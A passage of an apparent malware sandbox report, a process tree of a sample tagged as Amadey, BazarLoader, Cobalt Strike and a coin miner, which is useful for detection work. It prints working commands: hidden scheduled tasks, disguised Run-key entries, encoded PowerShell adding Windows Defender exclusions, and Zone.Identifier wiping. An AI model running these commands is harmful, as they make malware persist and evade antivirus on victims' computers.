  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "InputSwitchSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn InputSwitchSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4544
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn InputSwitchSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "InputSwitchSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3880
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1088
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn InputSwitchSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6788
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn InputSwitchSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFQAZQBtAHAAXABcADIAMAAyADYALQAwADcALQAxADcAXwAwADcAOAA4AGIAZAA1AGIAYwBjADEAMABjADgAMQBhADcAMAA4ADQANAA0ADUANAAwADQANwBiADgAYgBiADcAXwBhAG0AYQBkAGUAeQBfAGIAYQB6AGEAcgBsAG8AYQBkAGUAcgBfAGMAbwBiAGEAbAB0AC0AcwB0AHIAaQBrAGUAXwBjAG8AaQBuAG0AaQBuAGUAcgBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnADIAMAAyADYALQAwADcALQAxADcAXwAwADcAOAA4AGIAZAA1AGIAYwBjADEAMABjADgAMQBhADcAMAA4ADQANAA0ADUANAAwADQANwBiADgAYgBiADcAXwBhAG0AYQBkAGUAeQBfAGIAYQB6AGEAcgBsAG8AYQBkAGUAcgBfAGMAbwBiAGEAbAB0AC0AcwB0AHIAaQBrAGUAXwBjAG8AaQBuAG0AaQBuAGUAcgBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABEAG8AdwBuAGwAbwBhAGQAcwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAHAAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcAApACkAewBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9ADsATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABEAG8AdwBuAGwAbwBhAGQAcwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand JABlAD0AQAAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsACcALAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEEAcABwAEQAYQB0AGEAXABcAEwAbwBjAGEAbABcAFwAVABlAG0AcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABwACAAaQBuACAAJABlACkAewB0AHIAeQB7ACQAawA9ACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwARQB4AGMAbAB1AHMAaQBvAG4AcwBcAFAAYQB0AGgAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJABwACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQB9AA==
  2⤵
  PID:6364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f'"
  2⤵
  PID:932
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeAutoUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /f"
    3⤵
    PID:7032
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeAutoUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /f
      4⤵
      Modifies registry key
      PID:6240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe" /f'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6356
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /f"
    3⤵
    PID:5380
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /f
      4⤵
      Modifies registry key
      PID:6508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsMediaCfg" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe" /f'"
  2⤵
  PID:7152
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsMediaCfg /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /f"
    3⤵
    PID:6244
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsMediaCfg /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /f
      4⤵
      Modifies registry key
      PID:7096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchFilterHost" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe" /f'"
  2⤵
  PID:6676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchFilterHost /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /f"
    3⤵
    PID:7156
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchFilterHost /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /f
      4⤵
      Modifies registry key
      PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdateAgent" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe" /f'"
  2⤵
  PID:1556
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5844
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateAgent /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /f"
    3⤵
    PID:6152
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateAgent /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /f
      4⤵
      Modifies registry key
      PID:5784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "RuntimeBroker" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe" /f'"
  2⤵
  PID:6868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /f"
    3⤵
    PID:2936
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /f
      4⤵
      Modifies registry key
      PID:5596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SecurityHealthSvc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe" /f'"
  2⤵
  PID:5828
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /f"
    3⤵
    PID:6172
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /f
      4⤵
      Modifies registry key
      PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchProtocol" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe" /f'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3996
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocol /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /f"
    3⤵
    PID:4436
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocol /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /f
      4⤵
      Modifies registry key
      PID:6296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "OneDriveUpdater" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe" /f'"
  2⤵
  PID:6564
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /f"
    3⤵
    PID:3488
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /f
      4⤵
      Modifies registry key
      PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WLANAutoConfig" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe" /f'"
  2⤵
  PID:988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2932
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /f"
    3⤵
    PID:3736
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /f
      4⤵
      Modifies registry key
      PID:6568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "CryptoCertSvc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe" /f'"
  2⤵
  PID:4948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v CryptoCertSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /f"
    3⤵
    PID:4932
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v CryptoCertSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /f
      4⤵
      Modifies registry key
      PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6220
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier 2>nul"
    3⤵
    PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:2684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6760
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6508
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:2524
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier 2>nul"
    3⤵
    PID:5604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:7108
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2248
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe:Zone.Identifier 2>nul"
    3⤵
    PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:5356
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:3668
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3476
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe:Zone.Identifier 2>nul"
    3⤵
    PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:1784
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe:Zone.Identifier 2>nul"
    3⤵
    PID:7028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe:Zone.Identifier" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5760
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe:Zone.Identifier 2>nul"
    3⤵
    PID:1068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe:Zone.Identifier" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5488
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe:Zone.Identifier 2>nul"
    3⤵
    PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
